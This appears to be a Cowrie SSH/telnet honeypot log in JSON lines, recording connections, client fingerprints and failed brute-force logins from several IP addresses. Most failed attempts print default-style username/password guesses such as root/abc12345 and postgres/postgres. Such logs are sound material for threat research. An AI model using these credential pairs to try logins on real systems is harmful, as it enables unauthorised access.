{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:22.215627Z","src_ip":"91.92.42.227","session":"aefec30c3729","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:22.220873Z","src_ip":"91.92.42.227","session":"aefec30c3729","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":35926,"dst_ip":"10.17.0.5","dst_port":22,"session":"f42d37e1d5fa","protocol":"ssh","message":"New connection: 45.156.87.147:35926 (10.17.0.5:22) [session: f42d37e1d5fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:23.094614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:23.098172Z","src_ip":"45.156.87.147","session":"f42d37e1d5fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:23.182606Z","src_ip":"45.156.87.147","session":"f42d37e1d5fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:23.429914Z","src_ip":"45.156.87.147","session":"f42d37e1d5fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:24.514154Z","src_ip":"45.156.87.147","session":"f42d37e1d5fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin@123","message":"login attempt [ubuntu/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:25.239643Z","src_ip":"91.92.42.227","session":"aefec30c3729","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:26.930237Z","src_ip":"91.92.42.227","session":"aefec30c3729","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":44982,"dst_ip":"10.17.0.5","dst_port":22,"session":"29106b297ed2","protocol":"ssh","message":"New connection: 91.92.42.227:44982 (10.17.0.5:22) [session: 29106b297ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:28.727111Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":48380,"dst_ip":"10.17.0.5","dst_port":22,"session":"67cef9724cd5","protocol":"ssh","message":"New connection: 45.156.87.147:48380 (10.17.0.5:22) [session: 67cef9724cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:29.156706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:29.259117Z","src_ip":"45.156.87.147","session":"67cef9724cd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:29.262010Z","src_ip":"45.156.87.147","session":"67cef9724cd5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:29.532480Z","src_ip":"91.92.42.227","session":"29106b297ed2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:29.535772Z","src_ip":"91.92.42.227","session":"29106b297ed2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"12345678","message":"login attempt [fastuser/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:29.622120Z","src_ip":"45.156.87.147","session":"67cef9724cd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:30.706224Z","src_ip":"45.156.87.147","session":"67cef9724cd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345","message":"login attempt [root/abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:32.751133Z","src_ip":"91.92.42.227","session":"29106b297ed2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":48396,"dst_ip":"10.17.0.5","dst_port":22,"session":"81e912386799","protocol":"ssh","message":"New connection: 45.156.87.147:48396 (10.17.0.5:22) [session: 81e912386799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:34.976486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:34.984532Z","src_ip":"45.156.87.147","session":"81e912386799","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:35.068763Z","src_ip":"45.156.87.147","session":"81e912386799","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:35.124970Z","src_ip":"91.92.42.227","session":"29106b297ed2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.252.123.105","src_port":47540,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc14af0f0b30","protocol":"ssh","message":"New connection: 103.252.123.105:47540 (159.203.135.109:22) [session: dc14af0f0b30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:35.324384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:35.328239Z","src_ip":"103.252.123.105","session":"dc14af0f0b30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:35.331453Z","src_ip":"45.156.87.147","session":"81e912386799","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:35.552096Z","src_ip":"103.252.123.105","session":"dc14af0f0b30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":58982,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e096ce22ffd","protocol":"ssh","message":"New connection: 91.92.42.227:58982 (10.17.0.5:22) [session: 0e096ce22ffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:36.192926Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:36.415053Z","src_ip":"45.156.87.147","session":"81e912386799","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mm","password":"mm123","message":"login attempt [mm/mm123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:36.484689Z","src_ip":"103.252.123.105","session":"dc14af0f0b30","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:36.862671Z","src_ip":"91.92.42.227","session":"0e096ce22ffd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:36.865336Z","src_ip":"91.92.42.227","session":"0e096ce22ffd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:37.711789Z","src_ip":"103.252.123.105","session":"dc14af0f0b30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":42572,"dst_ip":"10.17.0.5","dst_port":23,"session":"89d7fd7202b2","protocol":"telnet","message":"New connection: 94.23.66.112:42572 (10.17.0.5:23) [session: 89d7fd7202b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:38.106202Z"}
{"eventid":"cowrie.session.closed","duration":0.00428318977355957,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:38.110356Z","src_ip":"94.23.66.112","session":"89d7fd7202b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":51804,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c29884fe5b0","protocol":"ssh","message":"New connection: 8.219.200.1:51804 (10.17.0.5:22) [session: 9c29884fe5b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:39.121479Z"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:39.322196Z","src_ip":"91.92.42.227","session":"0e096ce22ffd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45604,"dst_ip":"10.17.0.5","dst_port":22,"session":"11f2773d2ab0","protocol":"ssh","message":"New connection: 45.156.87.147:45604 (10.17.0.5:22) [session: 11f2773d2ab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:40.707243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:40.729820Z","src_ip":"45.156.87.147","session":"11f2773d2ab0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:40.775987Z","src_ip":"91.92.42.227","session":"0e096ce22ffd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:40.842767Z","src_ip":"45.156.87.147","session":"11f2773d2ab0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethan","password":"ethan","message":"login attempt [ethan/ethan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:41.162947Z","src_ip":"45.156.87.147","session":"11f2773d2ab0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:42.247458Z","src_ip":"45.156.87.147","session":"11f2773d2ab0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:42.527420Z","src_ip":"8.219.200.1","session":"9c29884fe5b0","protocol":"ssh"}
